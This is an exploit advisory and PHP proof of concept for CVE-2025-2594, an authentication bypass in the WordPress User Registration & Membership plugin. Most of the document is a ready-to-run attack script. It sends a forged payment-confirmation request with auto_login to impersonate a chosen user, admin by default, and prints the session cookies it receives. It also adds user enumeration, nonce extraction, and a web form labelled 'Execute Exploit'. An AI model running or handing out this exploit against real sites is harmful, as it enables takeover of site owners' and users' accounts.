=============================================================================================================================================
| # Title     : WordPress User Registration and Membership 4.1.2 authentication bypass vulnerability                                        |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
| # Vendor    : https://wordpress.org/plugins/user-registration/                                                                            |
=============================================================================================================================================

[+] References :  https://packetstorm.news/files/id/195337/ &  CVE-2025-2594

[+] Summary : 
             WordPress User Registration & Membership Plugin versions 4.1.2 and below contain a critical authentication bypass vulnerability 
			 that allows unauthenticated attackers to gain unauthorized access to user accounts, 
			 including administrative privileges, by exploiting improper access control in the payment confirmation functionality.
			 
[+]  POC : 

php poc.php 

<?php

class WordPressUserRegistrationExploit {
    
    private $target_url;
    private $member_id;
    private $nonce;
    private $user_agent;
    
    public function __construct($target_url, $member_id, $nonce) {
        $this->target_url = rtrim($target_url, '/');
        $this->member_id = $member_id;
        $this->nonce = $nonce;
        $this->user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36';
    }
    
    public function banner() {
        echo "┌──────────────────────────────────────────────┐\n";
        echo "│ WordPress Plugin User Registration <= 4.1.2   │\n";
        echo "│ Authentication Bypass Exploit (CVE-2025-2594)│\n";
        echo "│ PHP Port by indoushka                        │\n";
        echo "└──────────────────────────────────────────────┘\n\n";
    }
    
    public function exploit() {
        $this->banner();
        
        $endpoint = $this->target_url . '/wp-admin/admin-ajax.php';
        
        echo "[+] Target URL: {$endpoint}\n";
        echo "[+] Member ID: {$this->member_id}\n";
        echo "[+] Nonce: {$this->nonce}\n";
        echo "[+] Attempting authentication bypass...\n\n";
        
        $post_data = [
            'action' => 'user_registration_membership_confirm_payment',
            'security' => $this->nonce,
            'form_response' => '{"auto_login": true}',
            'member_id' => $this->member_id
        ];
        
        $ch = curl_init();
        
        curl_setopt_array($ch, [
            CURLOPT_URL => $endpoint,
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => $post_data,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_USERAGENT => $this->user_agent,
            CURLOPT_TIMEOUT => 10,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_HEADER => true
        ]);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $error = curl_error($ch);
        
        curl_close($ch);
        
        if ($error) {
            echo "[-] Request failed: {$error}\n";
            return false;
        }
        
        // Extract response body
        $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
        $headers = substr($response, 0, $header_size);
        $body = substr($response, $header_size);
        
        echo "[*] HTTP Status Code: {$http_code}\n";
        
        if ($http_code == 200 && strpos($body, '"success":true') !== false) {
            echo "[✓] EXPLOIT SUCCESSFUL! Authentication bypass achieved.\n";
            echo "[!] Check your session/cookies - you may now be authenticated as the target user.\n\n";
            
            // Extract cookies from headers
            $this->extract_cookies($headers);
            
            echo "Server Response:\n";
            echo $body . "\n";
            
            return true;
        } else {
            echo "[-] Exploit failed or invalid nonce/member_id.\n";
            echo "Server Response:\n";
            echo $body . "\n";
            
            return false;
        }
    }
    
    private function extract_cookies($headers) {
        if (preg_match_all('/Set-Cookie:\s*([^;]+)/i', $headers, $matches)) {
            echo "[+] Cookies received:\n";
            foreach ($matches[1] as $cookie) {
                echo "    {$cookie}\n";
            }
            echo "\n";
        }
    }
    
    public function test_connectivity() {
        echo "[*] Testing connectivity to target...\n";
        
        $ch = curl_init($this->target_url);
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT => 5,
            CURLOPT_USERAGENT => $this->user_agent
        ]);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        
        curl_close($ch);
        
        if ($http_code == 200) {
            echo "[+] Target is accessible\n";
            return true;
        } else {
            echo "[-] Target may not be accessible (HTTP {$http_code})\n";
            return false;
        }
    }
}

class NonceExtractor {
    
    public static function extract_nonce_from_page($target_url) {
        echo "[*] Attempting to extract nonce from registration page...\n";
        
        $url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
        $test_data = [
            'action' => 'user_registration_membership_confirm_payment',
            'security' => 'test',
            'member_id' => '1'
        ];
        
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => $test_data,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT => 10
        ]);
        
        $response = curl_exec($ch);
        curl_close($ch);
        
        // Look for nonce in error messages
        if (preg_match('/nonce[^"]*["\']([a-f0-9]+)/i', $response, $matches)) {
            echo "[+] Possible nonce found: {$matches[1]}\n";
            return $matches[1];
        }
        
        echo "[-] Could not automatically extract nonce\n";
        return null;
    }
}

class WordPressUserEnumerator {
    
    public static function enumerate_users($target_url) {
        echo "[*] Attempting to enumerate users...\n";
        
        $methods = [
            '/wp-json/wp/v2/users',
            '/?author=1',
            '/wp-json/oembed/1.0/embed?url=' . urlencode($target_url)
        ];
        
        foreach ($methods as $method) {
            $url = $target_url . $method;
            $ch = curl_init($url);
            curl_setopt_array($ch, [
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => 5
            ]);
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            if ($http_code == 200) {
                echo "[+] User enumeration possible via: {$method}\n";
                
                // Try to extract user IDs
                if (preg_match_all('/"id":\s*(\d+)/', $response, $matches)) {
                    echo "[+] Found user IDs: " . implode(', ', $matches[1]) . "\n";
                    return $matches[1];
                }
            }
        }
        
        echo "[-] Could not enumerate users automatically\n";
        echo "[*] Common user IDs to try: 1 (admin), 2 (first user)\n";
        return [1, 2];
    }
}

// Command line interface
if (php_sapi_name() === 'cli' && isset($argv[0]) && basename($argv[0]) === basename(__FILE__)) {
    
    if ($argc < 4) {
        echo "WordPress User Registration Plugin <= 4.1.2 Authentication Bypass (CVE-2025-2594)\n";
        echo "==================================================================================\n";
        echo "Usage: php " . $argv[0] . " <target_url> <member_id> <nonce>\n";
        echo "Example: php " . $argv[0] . " http://localhost/wordpress 1 abc123def456\n";
        echo "\nAdditional options:\n";
        echo "AUTO_NONCE=true - Attempt to automatically extract nonce\n";
        echo "ENUMERATE_USERS=true - Attempt to enumerate users first\n";
        echo "\nTo get the nonce:\n";
        echo "1. Visit the user registration page\n";
        echo "2. Look for '_confirm_payment_nonce' in the page source\n";
        echo "3. Or check network requests for 'security' parameter\n";
        exit(1);
    }
    
    $target_url = $argv[1];
    $member_id = $argv[2];
    $nonce = $argv[3];
    
    $auto_nonce = getenv('AUTO_NONCE') === 'true';
    $enumerate_users = getenv('ENUMERATE_USERS') === 'true';
    
    try {
        $exploit = new WordPressUserRegistrationExploit($target_url, $member_id, $nonce);
        
        // Test connectivity first
        if (!$exploit->test_connectivity()) {
            exit(1);
        }
        
        // Auto-enumerate users if requested
        if ($enumerate_users) {
            $user_ids = WordPressUserEnumerator::enumerate_users($target_url);
            echo "\n";
        }
        
        // Auto-extract nonce if requested
        if ($auto_nonce && empty($nonce)) {
            $extracted_nonce = NonceExtractor::extract_nonce_from_page($target_url);
            if ($extracted_nonce) {
                $exploit = new WordPressUserRegistrationExploit($target_url, $member_id, $extracted_nonce);
            }
            echo "\n";
        }
        
        // Execute the exploit
        $success = $exploit->exploit();
        
        if ($success) {
            echo "\n[+] Next steps:\n";
            echo "   1. Check if you're logged in by visiting {$target_url}/wp-admin/\n";
            echo "   2. Use the session cookies for further access\n";
            echo "   3. Consider changing passwords and checking user privileges\n";
        }
        
    } catch (Exception $e) {
        echo "[-] Error: " . $e->getMessage() . "\n";
        exit(1);
    }
}

// Web interface for the exploit
if (isset($_GET['web']) && $_GET['web'] === 'true') {
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <title>WordPress User Registration Auth Bypass (CVE-2025-2594)</title>
        <style>
            body { font-family: Arial, sans-serif; margin: 40px; background: #f4f4f4; }
            .container { max-width: 800px; margin: 0 auto; background: white; padding: 30px; border-radius: 10px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }
            h1 { color: #333; border-bottom: 2px solid #0073aa; padding-bottom: 10px; }
            .form-group { margin: 20px 0; }
            label { display: block; margin-bottom: 5px; font-weight: bold; color: #555; }
            input[type="text"] { padding: 10px; width: 100%; border: 1px solid #ddd; border-radius: 4px; font-size: 16px; }
            button { background: #0073aa; color: white; padding: 12px 30px; border: none; border-radius: 4px; cursor: pointer; font-size: 16px; }
            button:hover { background: #005a87; }
            .output { background: #f8f8f8; padding: 15px; border-radius: 4px; margin: 20px 0; white-space: pre-wrap; font-family: monospace; }
            .success { color: green; font-weight: bold; }
            .error { color: red; font-weight: bold; }
            .info { color: #0073aa; }
        </style>
    </head>
    <body>
        <div class="container">
            <h1>WordPress User Registration Auth Bypass (CVE-2025-2594)</h1>
            
            <?php
            if ($_POST['exploit'] ?? false) {
                $target_url = $_POST['target_url'] ?? '';
                $member_id = $_POST['member_id'] ?? '1';
                $nonce = $_POST['nonce'] ?? '';
                
                if (!empty($target_url) && !empty($nonce)) {
                    echo '<div class="output">';
                    try {
                        $exploit = new WordPressUserRegistrationExploit($target_url, $member_id, $nonce);
                        $success = $exploit->exploit();
                        
                        if ($success) {
                            echo '<p class="success">Exploit successful! Check your browser cookies.</p>';
                        }
                    } catch (Exception $e) {
                        echo '<p class="error">Error: ' . $e->getMessage() . '</p>';
                    }
                    echo '</div>';
                } else {
                    echo '<p class="error">Please fill all required fields</p>';
                }
            }
            ?>
            
            <form method="post">
                <input type="hidden" name="exploit" value="true">
                
                <div class="form-group">
                    <label for="target_url">WordPress Site URL:</label>
                    <input type="text" id="target_url" name="target_url" placeholder="https://example.com/wordpress" required>
                </div>
                
                <div class="form-group">
                    <label for="member_id">User ID to Impersonate:</label>
                    <input type="text" id="member_id" name="member_id" value="1" required>
                    <small style="color: #666;">Usually 1 for admin, 2 for first user</small>
                </div>
                
                <div class="form-group">
                    <label for="nonce">Security Nonce:</label>
                    <input type="text" id="nonce" name="nonce" placeholder="_confirm_payment_nonce value" required>
                    <small style="color: #666;">Find this in page source or network requests</small>
                </div>
                
                <button type="submit">Execute Exploit</button>
            </form>
            
            <div style="margin-top: 30px; padding: 15px; background: #fff3cd; border-radius: 4px;">
                <h3>How to Find the Nonce:</h3>
                <ol>
                    <li>Visit the WordPress user registration page</li>
                    <li>Open browser developer tools (F12)</li>
                    <li>Search for "_confirm_payment_nonce" in page source</li>
                    <li>Or check Network tab for "security" parameter in AJAX requests</li>
                </ol>
                
                <h3>About CVE-2025-2594:</h3>
                <p>This vulnerability affects User Registration & Membership Plugin <= 4.1.2 and allows authentication bypass through improper access control in the payment confirmation functionality.</p>
            </div>
        </div>
    </body>
    </html>
    <?php
    exit;
}

?>



Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================